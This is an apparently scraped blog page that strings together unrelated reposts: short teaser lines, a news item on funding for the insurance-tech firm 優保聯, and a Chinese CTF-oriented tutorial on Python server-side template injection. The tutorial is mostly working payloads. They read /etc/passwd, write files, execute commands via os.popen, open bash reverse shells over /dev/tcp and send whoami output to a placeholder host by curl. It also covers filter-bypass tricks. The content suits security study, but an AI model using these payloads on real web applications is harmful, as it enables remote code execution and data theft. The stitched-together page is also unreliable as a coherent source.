一個人,即便被拋擲到虛無的曠野,仍然可以做出自己的選擇。

文|於麗麗
編輯|劉旌

鑽石舞台 發表在 痞客邦 留言(0) 人氣()

2021年,我國保險業的保費規模達到了4.49萬億元。

文|蘭十一
封面來源|IC photo
近日,36氪獲悉,優保聯(北京)科技有限公司(以下簡稱:優保聯)宣布已完成數千萬元融資,本輪融資由紅塔證券、阿拉丁科技聯合投資。本輪融資資金將用於研發投入和市場推廣。
優保聯成立於2016年,以向保險中介機構提供核心系統、展業工具等SaaS服務的方式切入市場。經過6年的探索與實踐,優保聯在利用科技手段使保險業務在線化、合規結算佣金、精準客戶營銷等方面積累了大量的實戰經驗。
在產品上,優保聯已推出了優速通、磐石、優速付、般若堂、藍狐Scrm等系列產品。「優速通」能幫助保險中介機構及代理人直連保險公司系統,線上快速出單;「磐石」可對業務進行線上化合規管理及沉澱;「優速付」可提高中介機構的佣金周轉率,把行業T+1的發傭現狀提升到隨時即刻發傭,提高中介機構到代理多層級的資金使用效率;「般若堂」對人員進行線上化管理及培訓;「藍狐Scrm」可幫助代理人高效、精細地經營投保人客戶。
目前,優保聯業務覆蓋保險公司100+,服務800+專業保險中介,1500+兼業保險代理機構,5.5萬+合作機構,60萬+代理人,平台月均保費40億+,平台總保費達1500億元。
優保聯創始人魏宗儀是一位連續創業者,曾任原掌上通CTO。目前,優保聯團隊已達100多人,其中研發團隊占比達到50%,大部分研發人員具有保險和金融科技從業背景。
近年來,中國已經發展成為全球第二大保險市場,2021年,我國保險業的保費規模達到了4.49萬億元。在數字化的大背景下,保險科技的發展迎來了各方的重視。
在去年銀保監會下發的《保險中介機構信息化工作監管辦法》中,明確要求保險中介要和保險公司系統互通、業務互聯、數據對接等,同時要求監管部門去推動保險公司與中介機構系統對接,為中介行業平台建設提供了有力支撐。解決過往行業里產品出單直連保司系統困難、出單效率低,佣金結算繁瑣且慢,保險中介機構財務合規管理細節繁瑣等諸多痛點。
魏宗儀認為,保險中介的本質是助推保險市場需求與供給精準結合,而數字化、智能化運營能力是保險中介必不可少的核心能力。
在產業鏈方面,目前優保聯已實現了保險業「一端兩路」的建設。其中「一端」是指幫助保險中介響應銀保監會的監管要求,為「營銷獲客、運營管理、產品管理和合規管理」過程提供相應解決方案。「兩路」中的「第一段路」,是「保險公司向保險中介的產品信息化通路」,這條高速路使保險公司的產品更順暢地流向保險中介,「第二段路」是保險中介向投保人的產品和服務的數字通路,使保險中介推出的產品更精準、服務更敏捷,同時投保人得到更好地服務。
「一端兩路」的建設將原本保險公司、保險中介和投保人三者之間相互割裂、獨立運作的模式,完善成了可協調的工作機制,使產業鏈的過程管理可視、可控。目前優保聯已經完成與國內各大保險公司的數據接口直連和業務對接。基於和國內部分金融機構的合作,優保聯還為保險中介客戶提供基於交易數據的授信管理、資金支持、交易結算等金融助力。
與其它保險科技公司的產品相比,優保聯保險智能雲平台功能覆蓋面更廣,做到了車險、非車、壽險業務全域覆蓋;在保障數據安全和合規的基礎上,更加注重保險中介機構業務發展;同時根據保險中介機構類型和經營模式,打造符合企業發展的最優解決方案。
點擊關鍵詞,查看最近的早起看早期:
消費升級:「每日盒子」「UNOMI」
餐飲:「懶熊火鍋」「海倫司小酒館」「tea'stone」
新生活方式:「UPPERVOID」「文遠知行」
文娛:「goco夠酷夠玩」「PicoPico」「小象大鵝」
教育辦公:「拓牛」「玩具和朋友們」「好奇說」

鑽石舞台 發表在 痞客邦 留言(0) 人氣()

時光無言,標記奮進者堅實步履

鑽石舞台 發表在 痞客邦 留言(0) 人氣()


鑽石舞台 發表在 痞客邦 留言(0) 人氣()

點擊上方"藍字"
關注我們吧!


鑽石舞台 發表在 痞客邦 留言(0) 人氣()

點擊藍字關注我們


鑽石舞台 發表在 痞客邦 留言(0) 人氣()

點擊藍字關注我們


鑽石舞台 發表在 痞客邦 留言(0) 人氣()

第307期

鑽石舞台 發表在 痞客邦 留言(0) 人氣()

前言
之前也接觸過什麼是SSTI,但大多以題目進行了解,很多模塊以及payload都不了解其意就直接拿過來用,感覺並沒有學到什麼東西,最主要的是在繞過的過程中,不清楚原理沒有辦法構造,這次就好好來學習一下原理以及姿勢
一、基礎知識0x00:沙盒逃逸
沙箱逃逸,就是在一個代碼執行環境下(Oj或使用socat生成的交互式終端),脫離種種過濾和限制,最終成功拿到shell權限的過程
0x01:python的內建函數
啟動python解釋器時,即使沒有創建任何變量或函數,還是會有很多函數可供使用,這些就是python的內建函數
在python交互模式下,使用命令dir('builtins')即可查看當前python版本的一些內建變量、內建函數
內建函數非常強大,可以調用一切函數
0x02:名稱空間
內建函數是怎麼工作的哪?就需要了解一下名稱空間
python的名稱空間,是從名稱到對象的映射,在python程序的執行過程中,至少會存在兩個名稱空間。
1、內建名稱空間:python自帶的名字,在python解釋器啟動時產生,存放一些python內置的名字2、全局名稱空間:在執行文件時,存放文件級別定義的名字3、局部名稱空間(可能不存在):在執行文件的過程中,如果調用了函數,則會產生該函數的名稱空間,用來存放該函數內定義的名字,該名字在函數調用時生效,調用結束後失效
加載順序:
內置名稱空間—>全局名稱空間—>局部名稱空間
名字的查找順序:
局部名稱空間—>全局名稱空間—>內置名稱空間
在python中,初始的builtins模塊提供內建名稱空間到內建對象的映射
在沒有提供對象的時候,將會提供當前環境所導入的所有模塊,不管是哪個版本,可以看到__builtins__是做為默認初始模塊出現的,使用dir()命令查看一下__builtins__
可以看到有很多關鍵字
__import__ open
這也就是為什麼python解釋器里能夠直接使用某些函數的原因,加載順序操作python解釋器會自動執行,所以我們能直接看到一個函數被使用,如:使用print函數
0x03:類繼承
上面了解了什麼是名稱空間,要學會構造SSTI的payload,還需要學習一下類繼承,那什麼是類繼承那?
python中一切均為對象,均繼承於object對象,python的object類中集成了很多的基礎函數,假如我們需要在payload中使用某個函數就需要用object去操作。
常見的繼承關係的方法有以下三種:
__base__:對象的一個基類,一般情況下是object
__mro__:獲取對象的基類,只是這時會顯示出整個繼承鏈的關係,是一個列表,object在最底層所以在列表中的最後,通過__mro__[-1]可以獲取到
__subclasses__():繼承此對象的子類,返回一個列表
考察SSTI的CTF題目一般都是給個變量,因為有這些類繼承的方法,便可以從任何一個變量,回溯到基類中去,再獲得到此基類所有實現的類,這便是攻擊方式:
從變量->對象->基類->子類遍歷->全局變量
找到我們想要的模塊或者函數,然後進行構造payload。
0x04:常見payload分析
通過掌握上面的基礎知識便可以來簡單分析一下常見的payload,如:
#python2''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()
先來了解一些內建屬性的作用:
__class__返回調用的參數類型
__bases__返回類型列表
__globals__以字典類型返回當前位置的全部全局變量
將payload拆解下,一點一點來看
1、''返回的是字符串類型
2、加上__mro__返回的是繼承鏈關係
3、再添加上__subclasses__()返回的便是類的所有子類
定位到需要的子類
4、接下來添加上__init__用傳入的參數來初始化實例,使用__globals__以字典返回內建模塊
5、調用成功,接下來就可以執行命令了
如果是python3的話,那這個payload就需要重新修改,因為python3返回的不再是site.Printer類,而是ContextVar類
''.__class__.__mro__[-1].__subclasses__()[72]返回的是ContextVar類
如果一個一個去找太麻煩,可以使用命令
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)
將__subclasses__()每個字類都返回出來
這樣便方便找到自己想要的子類
0x05:考察的Web框架及模板引擎
一般出SSTI題考察的Web框架有以下幾種:
flask
Tornado
Django
因為每個框架涉及的知識都很多,這裡就不再詳細記錄了,只記錄一下在做題的時候可能會遇到的配置文件
Tornado:handler.settings
這個是Tornado框架本身提供給程序員可快速訪問的配置文件對象之一
handler.settings-> RequestHandler.application.settings可以獲取當前application.settings,從中獲取到敏感信息
[護網杯 2018]easy_tornado便考察了這個點
flaks:內置函數
config 是Flask模版中的一個全局對象,代表「當前配置對象(flask.config)」,是一個類字典的對象,包含了所有應用程序的配置值。在大多數情況下,包含了比如數據庫鏈接字符串,連接到第三方的憑證,SECRET_KEY等敏感值。
url_for()— 用於反向解析,生成url
get_flashed_messages()— 用於獲取flash消息
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
如果過濾了{{config}}且框架是flask的話便可以使用如下payload進行代替
{{get_flashed_messages.__globals__['current_app'].config}}{{url_for.__globals__['current_app'].config}}
shrine便考察了這個知識點
模板引擎有以下幾種:
jinja2
Twig
Smarty(PHP)
Mako
要判斷是哪個模板引擎,可以參考下圖或者使用工具tplmap進行檢測
0x06:Python常用的命令執行方式
1、os.system()
該方法的參數就是string類型的命令,在linux上,返回值為執行命令的exit值;而windows上,返回值則是運行命令後,shell的返回值。注意:該函數返回命令執行結果的返回值,並不是返回命令的執行輸出(執行成功返回0,失敗返回-1)
2、os.popen()
返回的是file read的對象,如果想獲取執行命令的輸出,則需要調用該對象的read()方法

二、姿勢匯總0x00:做題思考
一般遇到SSTI的題目時都是直接去搜現成的payload,然後進行套用,但有的時候考察的點或者是python環境不同,就可能出現上面的類差異,從而導致payload無法正常使用,解不出題來
所以在做題的時候就要思考,需要的是什麼模塊,比如想要os模塊,那麼就可以通過編寫腳本查找os模塊就會非常方便一些
python2
num = 0for item in ''.__class__.__mro__[-1].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: num+=1
python3
原理相同,但是python3環境變化了,例如python2下有file而python3沒有,所以直接用open。python3的利用主要索引在於builtins,找到了它便可以利用其中的eval、open等等來執行想要的操作
#!/usr/bin/python3# coding=utf-8# python 3.5#jinja2模板from flask import Flaskfrom jinja2 import Template# Some of special namessearchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']neededFunction = ['eval', 'open', 'exec']pay = int(input("Payload?[1|0]"))for index, i in enumerate({}.__class__.__base__.__subclasses__()): for attr in searchList: if hasattr(i, attr): if eval('str(i.'+attr+')[1:9]') == 'function': for goal in neededFunction: if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')): if pay != 1: print(i.__name__,":", attr, goal) else: print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
0x01:常見payload
有現成的payload肯定用起來香啊,還是總結一些,方便之後自己再做類似的題目參考
python2
#python2有file#讀取密碼''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()#寫文件''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')#OS模塊system''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')popen''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()#eval''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")#__import__''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()#反彈shell''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服務器地址/端口 0>&1').read()().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')注意該Payload不能直接放在 URL 中執行 , 因為 & 的存在會導致 URL 解析出現錯誤,可以使用burp等工具#request.environ與服務器環境相關的對象字典
python3
#python3沒有file,用的是open#文件讀取{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}#命令執行{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
https://github.com/payloadbox/ssti-payloads
其他的就不再一一列舉了,可以參考Github上的。
0x02:Bypass姿勢
拼接繞過
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
編碼繞過
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(#等價於().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
過濾中括號[]
#使用getitem()\pop()__mro__[2]== __mro__.__getitem__(2)''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
過濾{{或}}
使用{%進行繞過
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
過濾_ 和引號
可以用|attr繞過
{{()|attr(request.values.a)}}&a=class
使用request對象繞過,假設過濾了__class__,可以使用下面的形式進行替代
#1{{''[request.args.t1]}}&t1=__class__#若request.args改為request.values則利用post的方式進行傳參#2{{''[request['args']['t1']]}}&t1=__class__#若使用POST,args換成form即可
過濾.
可以使用attr()或[]繞過
#attr(){{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}#[]{{ config['__class__']['__init__']['__globals__']['os']['popen']('dir')['read']() }}
reload
如果reload可以用則可以重載,從而恢復內建函數
reload(__builtins__)

鑽石舞台 發表在 痞客邦 留言(0) 人氣()

關鍵詞


鑽石舞台 發表在 痞客邦 留言(0) 人氣()